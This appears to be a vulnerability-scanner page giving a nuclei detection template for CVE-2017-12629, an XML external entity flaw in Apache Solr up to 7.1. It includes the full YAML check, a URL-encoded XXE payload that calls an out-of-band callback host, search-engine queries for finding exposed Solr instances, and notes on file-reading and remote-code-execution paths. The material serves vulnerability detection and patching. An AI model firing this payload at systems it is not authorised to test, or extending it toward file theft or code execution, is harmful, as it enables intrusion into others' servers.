Apache Solr <= 7.1 - XML Entity Injection

criticalseverity

9.8CVSS score

92.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.

Impact

Successful exploitation of this vulnerability could lead to information disclosure, denial of service.

Fix

Upgrade to a patched version of Apache Solr (7.2 or higher) or apply the recommended security patches.

How to confirm it

Send: GET /solr/admin/cores?wt=json ; GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%2…
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2017-12629 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-12629

info:
  name: Apache Solr <= 7.1 - XML Entity Injection
  author: dwisiswant0
  severity: critical
  description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.
  impact: |
    Successful exploitation of this vulnerability could lead to information disclosure, denial of service.
  remediation: |
    Upgrade to a patched version of Apache Solr (7.2 or higher) or apply the recommended security patches.
  reference:
    - https://twitter.com/honoki/status/1298636315613974532
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
    - http://mail-archives.us.apache.org/mod_mbox/www-announce/201710.mbox/%3CCAOOKt51UO_6Vy%3Dj8W%3Dx1pMbLW9VJfZyFWz7pAnXJC_OAdSZubA%40mail.gmail.com%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12629
    cwe-id: CWE-611
    epss-score: 0.92487
    epss-percentile: 0.99828
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: solr
    shodan-query:
      - cpe:"cpe:2.3:a:apache:solr"
      - http.title:"apache solr"
      - http.title:"solr admin"
    fofa-query:
      - title="solr admin"
      - title="apache solr"
    google-query:
      - intitle:"apache solr"
      - intitle:"solr admin"
  tags: cve2017,cve,oast,xxe,vulhub,solr,apache,vuln

http:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

    extractors:
      - type: regex
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'
        internal: true

References

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